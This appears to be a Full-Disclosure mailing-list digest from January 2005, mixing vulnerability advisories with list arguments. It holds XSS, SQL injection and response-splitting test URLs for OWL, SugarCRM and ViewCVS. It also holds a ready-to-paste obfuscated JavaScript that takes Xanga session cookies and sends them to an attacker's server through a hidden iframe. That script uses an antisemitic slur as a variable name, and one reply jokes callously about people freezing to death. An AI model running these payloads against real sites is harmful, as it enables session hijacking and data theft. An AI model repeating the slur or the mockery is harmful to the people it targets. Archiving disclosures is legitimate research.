Date: Sat, 01 Jan 2005 22:57:02 -0500
Subject: [Full-Disclosure] Just a thought (from an autoreply to another
	thread)
In-Reply-To: <200501020259.j022xgcc026905@turing-police.cc.vt.edu>
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
	<41D623B3.7060104@rogers.com>
	<200501020259.j022xgcc026905@turing-police.cc.vt.edu>
Message-ID: <41D7710E.6060908@rogers.com>

Damn... you thought of a couple things that never even crossed my mind. 
Nicely done, I like your style :)

Regards,
Byron

Valdis.Kletnieks at vt.edu wrote:
> I'm not sure which is worse, the fact that we all now know that his system
> is probably fair game for attack for another week, or that we now know that
> on Jan 9th, he's probably going to be piled under mail and not being quite
> as careful on what he opens.  And I'd be amazed if the X-Mailer: header on
> his mail didn't list out what vulnerabilities it had (correlate build level
> to avisories.. ;)
> 
> Hmm.. if he's usually the firewall issue person, it's likely that whoever is
> reading security-support's mail is *less* experienced.
> 
> Hint: if the site *has* a security-support address, firewall issues
> should *always* be going there rather than to a specific user, for
> multiple reasons:
> 
> 1) that way you know *somebody* will see it even if he's away from the office
> and not reading the mail
> 
> 2) Checks and balances - it keeps him honest because if somebody notices a firewall
> issue that he created, he can't just hit delete and get away with it...



From joxeankoret at yahoo.es  Sat Jan  1 19:52:48 2005
From: joxeankoret at yahoo.es (Joxean Koret)
Date: Sat, 01 Jan 2005 19:52:48 +0000
Subject: [Full-Disclosure] Various Vulnerabilities in OWL Intranet Engine
Message-ID: <1104609168.17577.1.camel@nemobox>

----------------------------------------------------------------------------
               Various Vulnerabilities in OWL Intranet Engine
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OWL 0.7 and 0.8 -  Owl is a multi user document repository
(knowledgebase) 
system written in PHP4 for publishing files/documents onto the web for
a 
corporation, small business, group of people, or just for yourself.

Web : http://owl.sourceforge.net/

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerabilities

A1. In the script browser various parameters, that are used to write the
html code, not are verified. 

	Test URLS : 


http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1'><script>alert(document.location)</script>&order=creatorid&sortposted=DESC


http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=115&expand=1&order=creatorid'><script>alert(document.location)</script>&sortposted=DESC


B. SQL Injection Vulnerabilities

B1. In the browser.php script the following parameters are vulnerables
to an
SQL Injection attacks.

	Test URLS : 
	

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104[SQL%20INJECTION]&expand=1&order=creatorid&sortposted=DESC

http://<site-with-owl>/intranet/browse.php?sess=<replace-with-a-valid-session-id>&parent=104&expand=1&order=creatorid&sortposted=DESC[SQL%20INJECTION]


The fix:
~~~~~~~~

All problems are fixed in the CVS.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es



-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/c31a5020/attachment.bin 

From joxeankoret at yahoo.es  Sat Jan  1 19:58:44 2005
From: joxeankoret at yahoo.es (Joxean Koret)
Date: Sat, 01 Jan 2005 19:58:44 +0000
Subject: [Full-Disclosure] Cross Site Scripting Vulnerabilities and Possible
	Code Execution in SugarCRM
Message-ID: <1104609524.17665.4.camel@nemobox>

----------------------------------------------------------------------------
Cross Site Scripting Vulnerabilities and Possible Code Execution in
SugarCRM
----------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SugarCRM 1.X - Manage leads, opportunities, contacts and more inside of
a 
state-of-the-art user interface. Built on PHP and MySQL

Web : http://sugarcrm.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability

A1. In the main script (index.php) various parameters, that are used to
write the
html code, not are verified. 

At least the following URLs are vulnerables to XSS (Cross Site
Scripting) attacks : 

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module="><script>alert(document.cookie)</script>&return_action=index

http://<site-with-sugarcrm>/sugarcrm/index.php?module=Contacts&action=EditView&return_module=&return_action="><script>alert(document.cookie)</script>

http://<site-with-sugarcrm>/sugarcrm/index.php?name=%22%3E%3Cscript%
3Ealert%28document.cookie%29%3C%2Fscript%
3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search

And the following are XSS vulnerables and, may be, arbitrary PHP remote
code execution 
vulnerables as well : 

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts"><script>alert(document.cookie)</script>&record=d676f046-1be5-dc36-114e-4138f972bf5d

http://<site-with-sugarcrm>/sugarcrm/index.php?action=DetailView&module=Accounts''''&record=[RECORD ID]"><script>alert(document.cookie)</script>


The fix:
~~~~~~~~

All problems are fixed in the latests versions availables at the
sugarcrm site.
Go to http://sugarcrm.sourceforge.net site for more info about the new
versions.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es



-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/b55e155d/attachment.bin 

From joxeankoret at yahoo.es  Sat Jan  1 20:03:05 2005
From: joxeankoret at yahoo.es (Joxean Koret)
Date: Sat, 01 Jan 2005 20:03:05 +0000
Subject: [Full-Disclosure] Two Vulnerabilities in ViewCVS
Message-ID: <1104609785.27165.0.camel@nemobox>

---------------------------------------------------------------------------
              Two Vulnerabilities in ViewCVS
---------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2004 
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ViewCVS 0.9.2 - ViewCVS is a browser interface for CVS and Subversion
version control repositories

ViewCVS can browse directories, change logs, and revisions of files. It
can display diffs between versions and show selections of files based on
tags or branches. In addition, ViewCVS has "annotation" / "blame"
support, and Bonsai-like query facility

Web : http://viewcvs.sourceforge.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

A. Cross Site Scripting Vulnerability and/or HTTP Response Splitting

A1. When you want to view any source file that is stored in the CVS
repository you can 
select the mime-type to view this (in example, text/html or text/plain).
This is a 
parameter that receives thet viewcvs.py script and is not verified.

I'm not sure if this is an HTTP Response Splitting vulnerability and/or
a Cross Site Scripting,
but is a security problem.

To try the vulnerabilities you can try the following the Proof of
Concepts: 

	Sample 1 :
	~~~~~~~~~~


http://<site-with-viewcvs-092>/cgi-bin/viewcvs/project/source.file?rev=HEAD&content-type=text/html%0d%0a%0d%0a<html><body%20bgcolor="black"><font%20size=7%20color=red>XSS%20or%20HTTP%20Response%20Splitting</font></html>

	Sample 2 :
	~~~~~~~~~~


http://<site-with-viewcvs-092>/cgi-bin/viewcvs/*checkout*/project/source.file?rev=1.0&content-type=text/html%0d%0aContent-Length:1937%0d%0a%0d%0aHi


The fix:
~~~~~~~~

The vendor was contacted but no path for the 0.9.2 version has been
released. Anyway, the 
problems has been fixed in the ViewCVS 1.0-dev version available via
CVS.

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es



-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/0a61dd50/attachment.bin 

From gerryniger at gmail.com  Sat Jan  1 19:40:42 2005
From: gerryniger at gmail.com (gnaa/rkz)
Date: Sat, 1 Jan 2005 19:40:42 +0000
Subject: [Full-Disclosure] Xanga Login Cookie stealing Vunerability - GNAA
	Security Center
Message-ID: <affebc6f05010111405ff5108d@mail.gmail.com>

Vendor: Xanga
URL: http://www.xanga.com/
Versions: Current
Remote: Yes
vendor notified: 06 Oct 2004 at 14:08
Vendor response: NONE


Summary:
~~~~~~~
Xanga is a fully featured blogging system, it 
provides great control over look & feel of a users 
blog by allowing HTML with only basic checks.
Xanga has well over 100,000 users and millions
of page views every hour.
A security vulnerability in the current system
allows malicious users to steal session cookies
===================================

Examples Code:
~~~~~~~~~~~~~~~~~~~~~~~~
Pre-reqs:
* Create an Account, this does not require a valid email.

1. Click Look & Feel on the lefthand navigation bar
2. In the "Insert your own HTML" Box enter for following code.
~~~~~~~~~~~~CUT AFTER HERE~~~~~~~~~~~~~~~~~
<script>
var gt = "<";
var e1 = "scr";
var e2 = "ipt";
var lt = ">";
var if1 = "ifr";
var if2 = "ame";
document.write(gt + e1 + e2 + lt);
document.write("var jewsdidwtc = documen");
document.write("t.cook");
document.write("ie.split(\';\');");
document.write("<\/script>");
// WRITE COOKIE TO TOP OF SCREEN.
document.write(jewsdidwtc);
var quot = '"'
// THE FOLLOWING CODE DEMONSTRATES HOW
// TO STEAL THE COOKIE, "SOMESITE" SHOULD 
// BE A SITE WHERE YOU CAN TAIL THE LOGS
// OR MAYBE WRITE A SPECIFIC SCRIPT TO 
// CAPTURE THE ARGUMENTS PROVIDED

var url = "http://SOMEWEBSITE/";
document.write(gt + if1 + if2);

document.write(" src=" + url + "?guid=");
// --- get guid --- 
var GUID = "GUID=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(GUID) == 0) var GUIDval = c.substring(GUID.length,c.length);
}
// --- get username --- 
var USER = "u=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(USER) == 0) var USERval = c.substring(USER.length,c.length);
}
// --- get sessionid --- 
var SESS = "x=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(SESS) == 0) var SESSval = c.substring(SESS.length,c.length);
}
document.write(GUIDval);
document.write("&u=" + USERval);
document.write("&x=" + SESSval);
document.write(quot);
document.write(" WIDTH=1 HEIGHT=1" + lt);

</script>
~~~~~~~~~~~~END CUT HERE~~~~~~~~~~~~~~~~~
=========================================

Impact:
~~~~~
This code just shows how to steal session cookies, it would 
seem that getting hits to a malicious users blog could be quite 
hard. This is not the case. When combined with existing Xanga 
exploits: 1. http://homepage.ntlworld.com/allencastro/autoreg.gnaa
             2. http://homepage.ntlworld.com/allencastro/xanga.gnaa
could potentially generate thousands of hits and even become
featured on Xanga's front page (due to popularity of page).
Meaning the attacker could get thousands of logins in a
few hours.

Vendor:
~~~~~
Vendor was informed months ago but we have recieved no reply.

Credits:
~~~~~
K5 Article on Xanga: http://www.kuro5hin.org/story/2004/12/28/161214/43
The GNAA Security Team: http://www.gnaa.us/


From anie at hcsmail.com  Sun Jan  2 00:02:58 2005
From: anie at hcsmail.com (Luther Vaughn)
Date: Sat, 1 Jan 2005 19:02:58 -0500 (EST)
Subject: [Full-Disclosure] defaced zine issue 7
Message-ID: <200501020002.j0202wWZ027718@mail.hcsmail.com>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/228fe1af/attachment.ksh 

From jellyfish_jvss2002 at yahoo.com.sg  Sun Jan  2 01:17:23 2005
From: jellyfish_jvss2002 at yahoo.com.sg (jelly fish)
Date: Sun, 2 Jan 2005 09:17:23 +0800 (CST)
Subject: [Full-Disclosure] Challenge
Message-ID: <20050102011723.88620.qmail@web14608.mail.yahoo.com>

wolong of Keeptouch.net has issue a challenge to any security professionals  to test out his system as he believe he has achieve total anonymity by connecting though 3 proxy servers running behind firewall 



 

 Yahoo! Mobile
- Download the latest ringtones, games, and more!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/25c5217b/attachment.html 

From m0rtis at adelphia.net  Sun Jan  2 05:48:03 2005
From: m0rtis at adelphia.net (Mortis)
Date: Sun, 02 Jan 2005 00:48:03 -0500
Subject: [Full-Disclosure] Just a thought (from an autoreply to
	another thread)
In-Reply-To: <41D623B3.7060104@rogers.com>
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
	<41D623B3.7060104@rogers.com>
Message-ID: <6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net>

 > You know, people that set these auto-replies often
 > give out a good amount of information (of the social
 > engineering kind and otherwise), if someone were to
 > apply themselves...

Yes.  We do know.  Look in a dumpster outside a phone company or a credit 
card processor and get back to us.

Do you know how cold it has to get for a bum to freeze on the sidewalk 
overnight?  I'm curious.

I heard kids freeze quicker.
--
Mortis
https://www.rosies.org/Cultures/en-US/Giving/Online+Giving.htm



From scrotora at hushmail.com  Sun Jan  2 12:56:24 2005
From: scrotora at hushmail.com (Scrotora)
Date: Sun, 02 Jan 2005 13:56:24 +0100
Subject: [Full-Disclosure] Re: Thanks :)
Message-ID: <mkpynhooxcxsepbrvuy@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/f14702dd/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: the_message.com
Type: application/octet-stream
Size: 21012 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/f14702dd/attachment.obj 

From TalM at comsec.co.il  Sun Jan  2 13:44:36 2005
From: TalM at comsec.co.il (Tal Mozes)
Date: Sun, 2 Jan 2005 15:44:36 +0200 
Subject: [Full-Disclosure] hackers hacking hackers wtf?
Message-ID: <D528DF24AEBCD311A17700508B92CBBF02A2C3D1@NEWMAN>


The website is down....
But you can still see the hacked page at Google cache...

http://www.google.com/search?q=cache:CVM90YJzWcoJ:www.boobys.org/+&hl=en&lr=
lang_en|lang_iw

Pay attention to section [6]...:p


-----Original Message-----
From: jonny be good [mailto:blackhat_information at yahoo.com] 
Sent: Saturday, January 01, 2005 4:43 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] hackers hacking hackers wtf?

They call it Project Hatem, their aim to take down as
many Whitehat Security sites as they can. 
They do not believe in full disclosure, and do not
believe the moral values of the Whitehats. All they
believe in is power and destruction.

Well guess what? They got hacked also :P

Check it out:  http://boobys.org



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

-- 
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 
**************************************************************************************************
The contents of this email and any attachments are confidential.
They are intended for the named recipient(s) only.
If you have received this email in error please notify the system manager or  the 
sender immediately and do not disclose the contents to anyone or make copies.

** eSafe scanned this email for viruses, vandals and malicious content. **
**************************************************************************************************


From dcdave at att.net  Sun Jan  2 13:56:19 2005
From: dcdave at att.net (dcdave at att.net)
Date: Sun, 02 Jan 2005 13:56:19 +0000
Subject: [Full-Disclosure] list noise
Message-ID: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net>

I will NOT respond to this; 
I will NOT respond to this; 
I will Not respond to this;

dcdave

--
CSO
InfoSec Group
703-626-6516		
	

 -------------- Original message ----------------------
From: phased <phased at mail.ru>
> 
> I also care about noise, and responding to stupid mails makes it worse.
> Every time people send stupid mails like the rm file thing, and people reply to 
> the list, the author was successful in filling the list with crap for a day or 
> so.
> 
> If no one replies, then they dont get attention and the people who know their 
> advisories(anyone with common sense) are blatantly crap will not be affected by 
> their nuisance.
> 
> You always get a load of emails to the list from people who want to tell 
> everyone they know that an advisory for example was crap, yes we know
> thank you, but we are not handing out gold stars today!!!
> No need to tell us all every time!!!
> 
> phased
> 
> -----Original Message-----
> From: Barrie Dempster <barrie at reboot-robot.net>
> To: full-disclosure at lists.netsys.com
> Date: Thu, 30 Dec 2004 09:36:07 +0000
> Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand 
> SecureIIS)
> 
> > I'd have to agree with the eEye statement on this one. You sent out an
> > advisory without disclosing the details, which offers no real benefit to
> > anyone. Many people consider this responsible disclosure but that also
> > requires you to notify the vendor (there were no @eeye.com's in your
> > "to" list but there were a couple of press mailboxes).
> > 
> > You didn't contact eEye, you didn't release details, you used an
> > anonymous address and failed to mention or credit any of the other guys
> > in your "testing team", This can only lead us to believe that the
> > advisory is fake and only intended to generate bad press for eEye. I
> > personally don't care about eEye's PR rating but I do care about the
> > level of noise on these lists and I do care about backdoor-ed commercial
> > products that are in common use. You may have an issue with eEye and see
> > this as revenge. However, I doubt you also have an issue with the many
> > admins who probably have spent their holiday season investigating these
> > claims, when there are likely more pressing matters to address, such as
> > a large stock of alcohol.
> > 
> > Show us details, or be quiet. If you intended to embarrass eEye the plan
> > backfired as any competent professional on this list (there are a few -
> > I've heard stories about them) would see this as a shameful attempt and
> > would be laughing at you, not eEye.
> > 
> > Seasons greetings to eEye and all Full Disclosure subscribers - even you
> > "Lance Gusto".
> > 
> > With Regards..
> > Barrie Dempster (zeedo) - Fortiter et Strenue
> > 
> >   http://www.bsrf.org.uk
> > 
> > [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ]
> > 
> > 
> > 
> > 
> > 
> > ATTACHMENT: application/pgp-signature ("signature.asc")
> > 
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> > 
> > 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html




From measl at mfn.org  Sun Jan  2 21:41:55 2005
From: measl at mfn.org (J.A. Terranson)
Date: Sun, 2 Jan 2005 15:41:55 -0600 (CST)
Subject: [Full-Disclosure] Just a thought (from an autoreply to another
	thread)
In-Reply-To: <6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net>
References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz>
	<41D623B3.7060104@rogers.com>
	<6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net>
Message-ID: <20050102154012.T29540@ubzr.zsa.bet>


On Sun, 2 Jan 2005, Mortis wrote:

> Do you know how cold it has to get for a bum to freeze on the sidewalk
> overnight?  I'm curious.

With or without ETOH to lower the freezing point of red cells?


> I heard kids freeze quicker.

You might think so based upon mere size, but actually kids tend to run at
a higher metabolic rate, allowing them to generate a bit more heat than
their biggers.  My bet is they freeze slower than people, but faster than
drunk people.

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From dave at immunitysec.com  Sun Jan  2 21:29:54 2005
From: dave at immunitysec.com (Dave Aitel)
Date: Sun, 02 Jan 2005 16:29:54 -0500
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS
	and Secure
In-Reply-To: <BAY2-F347D60BC3A6AB7882C2046CC9B0@phx.gbl>
References: <BAY2-F347D60BC3A6AB7882C2046CC9B0@phx.gbl>
Message-ID: <41D867D2.9030105@immunitysec.com>

Well, for all who read this (and care) I tested a moderately old version 
of SecureIIS I have installed on some VM, and I didn't see any calls to 
CreateProcess anywhere in any of the eEye DLL's. Nor did I see any 
suspicious getprocaddr's/loadlibrarya's that would indicate a backdoor.

For those who might try this little game, eEye's secureIIS is basically 
a http_filter module that loads into Inetinfo which takes requests and 
passes them off to a ncalrpc service (the event bus, as they'd call it). 
It's going to get the request about 3 times during the course of events.

Of course, this sort of thing is basically impossible to disprove - 
especially without source.

-dave


Lance Gusto wrote:

>
> Hey Dave,
>
>
> I cannot disclosed much information (based on request/threats made by 
> certain organizations
> whom may be involved) I am sure you can understand.
>
> But we have tested Iris versions 3.0 and up ... As I previously stated 
> it doesn't appear to
> exist in the 2.x series of Iris.
>
> I am not the main tester involved here, but I was told that there is 
> some sort of clandestine
> chaining mechanism to create the processes I believe. I will provide 
> the "lists" I have sent this
> too with more information as soon as some of the other testers 
> involved come back from their
> respective holiday breaks.
>
>
>> From: Dave Aitel <dave at immunitysec.com>
>> To: Lance Gusto <thegusto22 at hotmail.com>
>> Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye 
>> Products (IRIS and SecureIIS)
>> Date: Wed, 29 Dec 2004 11:29:55 -0500
>>
>>
>>>
>>>
>>> The SecureIIS Backdoor:
>>>
>>> The SecureIIS backdoor was alot easier to discover but very well
>>> placed. The SecureIIS backdoor is triggered by a specifically
>>> crafted HTTP HEAD request. Here is a incomplete layout of how
>>> to exploit this:
>>>
>>
>> Which version did you test? I'm not seeing it, or any intermodular 
>> calls to CreateProcess in the DLL that it loads up.
>>
>> -dave
>>
>>
>>>
>>> HEAD /<24 byte constant string>/PORT_ADDRESS.ASP HTTP/1.1
>>>
>>> PORT - Will be the port to bind a shell.
>>> ADDRESS - Address for priority binding (0 - For any).
>>>
>>>
>>> [snip]
>>>
>>>
>>>
>>> Local Deduction:
>>>
>>> There are a two possiblilites here, either eEye's code has been
>>> altered by some attacker or this has been sanctioned by the
>>> company (or at least the developers were fully aware of this).
>>>
>>>
>>>
>>> Conclusion:
>>>
>>> It is very very shameful that a somewhat reputable like eEye is acting
>>> in a very childish, unprofessional manner. I figure that is why the
>>> code is closed source. There are several active exploits available 
>>> that I
>>> (the author of this advisory) didn't create floating around. The only
>>> logical solution will be to not use the mentioned eEye products for the
>>> time being or at least downgrade to the non-backdoored versions.
>>>
>>> We will be investigation eEye's Blink Product for any clandestine 
>>> backdoors.
>>>
>>> _________________________________________________________________
>>> FREE pop-up blocking with the new MSN Toolbar ? get it now! 
>>> http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
>>
>
> _________________________________________________________________
> Don?t just search. Find. Check out the new MSN Search! 
> http://search.msn.click-url.com/go/onm00200636ave/direct/01/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html




From Mike at MichaelEvanchik.com  Sun Jan  2 23:43:40 2005
From: Mike at MichaelEvanchik.com (Michael Evanchik)
Date: Sun, 2 Jan 2005 18:43:40 -0500
Subject: [Full-Disclosure] And you're proud of this Mike Evanchick?
References: <41D318B1.4070605@cisco.com>
Message-ID: <018101c4f124$e3696b70$6702a8c0@AlanPickel.com>

Re: [Full-Disclosure] And you're proud of this Mike Evanchick?Let me put this lighter,

WRONG
 
I created this code first using KNOWN virus strings.  It would be trivial to use different code that is not detected,

Mike
www.michaelevanchik.com

  ----- Original Message ----- 
  From: Michael Reilly 
  To: Todd Towles 
  Cc: full-disclosure at lists.netsys.com 
  Sent: Wednesday, December 29, 2004 3:50 PM
  Subject: Re: [Full-Disclosure] And you're proud of this Mike Evanchick?


  Couldn't help seconding this.  I do not understand the purpose of he
  original message.  I think Norton/Symantec did a good job.

  michael
  Todd Towles wrote:
  > Sounds like you need AV and a bit of network security. If you are scared
  > of IRC trojans and detectable viruses..then your time would be better
  > spent putting those systems into place. Don't you think?
  >
  >
  > ________________________________
  >
  >       From: full-disclosure-bounces at lists.netsys.com
  > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Elle
  > Chicka
  >       Sent: Monday, December 27, 2004 11:16 PM
  >       To: full-disclosure at lists.netsys.com
  >       Subject: [Full-Disclosure] And you're proud of this Mike
  > Evanchick?
  >      
  >      
  >       You so proudly posted this:
  >       ------------------------
  >      
  > http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.ht
  > ml
  > <https://mail.microsoft.com/exchweb/bin/redir.asp?URL=http://securityres
  > ponse.symantec.com/avcenter/venc/data/trojan.phel.a.html>
  >      
  >       mike
  >      
  >       www.michaelevanchik.com
  >       
  >       ------------------------
  >       Obviously you are just tickled to see that the kiddies were able
  > to so quickly turn your point/click sploit code into a virus to wreak
  > havoc on my network.
  >      
  >       Thanks a lot for helping to make all of us a little less secure
  > over the holiday's.
  >       
  >
  >       __________________________________________________
  >       Do You Yahoo!?
  >       Tired of spam? Yahoo! Mail has the best spam protection around
  >       http://mail.yahoo.com
  >
  >
  >
  >
  > ------------------------------------------------------------------------
  >
  > _______________________________________________
  > Full-Disclosure - We believe in it.
  > Charter: http://lists.netsys.com/full-disclosure-charter.html

  --
  ---- ---- ----
  Michael Reilly    michaelr at cisco.com
       Cisco Systems,  California
  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.netsys.com/full-disclosure-charter.html 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/2c037506/attachment.html 

From Mike at MichaelEvanchik.com  Sun Jan  2 23:39:08 2005
From: Mike at MichaelEvanchik.com (Michael Evanchik)
Date: Sun, 2 Jan 2005 18:39:08 -0500
Subject: [Full-Disclosure] And you're proud of this Mike Evanchick?
References: <1104429301.2083.5.camel@anathema>
Message-ID: <013301c4f124$40e7b460$6702a8c0@AlanPickel.com>

RE: [Full-Disclosure] And you're proud of this Mike Evanchick?wasnt meant as attack. sorry about that.  The statment was totally wrong, by no means is any AVP going to save you from true attackers.

Mike
www.michaelevanchik.com


  ----- Original Message ----- 
  From: xyberpix 
  To: Todd Towles 
  Cc: Michael Evanchik ; full-disclosure at lists.netsys.com 
  Sent: Thursday, December 30, 2004 12:55 PM
  Subject: RE: [Full-Disclosure] And you're proud of this Mike Evanchick?


  I have to aggree with Todd on this one, the attack was extremely
  unprofessional, and things like this should be left out of mailing
  lists. I could carry on, but am forcing myself not to here.

  xyberpix

  On Thu, 2004-12-30 at 08:38 -0600, Todd Towles wrote:
  > Umm..and you were the one giving cheers to Norton. Of course AV can be
  > fooled..and of course a patch from microsoft is the only true way to
  > fix the problem.
  > 
  > She was attacking you for giving Cheers to Norton. I didn't release
  > the POC, you did. I am happy Norton is detecting it. If you want to
  > change your words right in the middle of the sentence, I really don't
  > care.
  > 
  > By attacking me on a personal level, you have proven to me..to be
  > unprofessional at best.
  >
  >        
  >         ______________________________________________________________
  >         From: Michael Evanchik [mailto:Mike at MichaelEvanchik.com]
  >         Sent: Wednesday, December 29, 2004 5:03 PM
  >         To: Todd Towles; Elle Chicka; full-disclosure at lists.netsys.com
  >         Subject: Re: [Full-Disclosure] And you're proud of this Mike
  >         Evanchick?
  >        
  >        
  >         Todd,
  >         
  >         Listen, you are so wrong i cant belive you even have the guts
  >         to post this.  How stupid can you be?  Norton or any AVP can
  >         easily be fooled.  The active x object "ca"+n b"+ +e crea"
  >         +ted" like this. code changed around , or even different local
  >         code can be used and tada AVP is fooled.  Only a true patch
  >         from microsoft or disable the help control in the registry is
  >         going to stop this.  Her concern is wise. 
  >         
  >         Mike
  >         www.michaelevanchik.com
  >         
  >                 ----- Original Message -----
  >                 From: Todd Towles
  >                 To: Elle Chicka ; full-disclosure at lists.netsys.com
  >                 Sent: Wednesday, December 29, 2004 9:36 AM
  >                 Subject: RE: [Full-Disclosure] And you're proud of
  >                 this Mike Evanchick?
  >                
  >                
  >                 Well, if you have Norton, it couldn't wreak
  >                 havoc...now could it? Most of the AV compaines are now
  >                 detecting the exploit. This detection response is much
  >                 faster than most of the other exploits which are
  >                 wreaking havoc on your network, so it would sound.
  >                 
  >                 Nice work to Norton.
  >                
  >                        
  >                         ______________________________________________
  >                         From: full-disclosure-bounces at lists.netsys.com
  >                         [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Elle Chicka
  >                         Sent: Monday, December 27, 2004 11:16 PM
  >                         To: full-disclosure at lists.netsys.com
  >                         Subject: [Full-Disclosure] And you're proud of
  >                         this Mike Evanchick?
  >                        
  >                        
  >                         You so proudly posted this:
  >                         ------------------------
  >                         http://securityresponse.symantec.com/avcenter/venc/data/trojanphel.a.html
  >                        
  >                         mike
  >                        
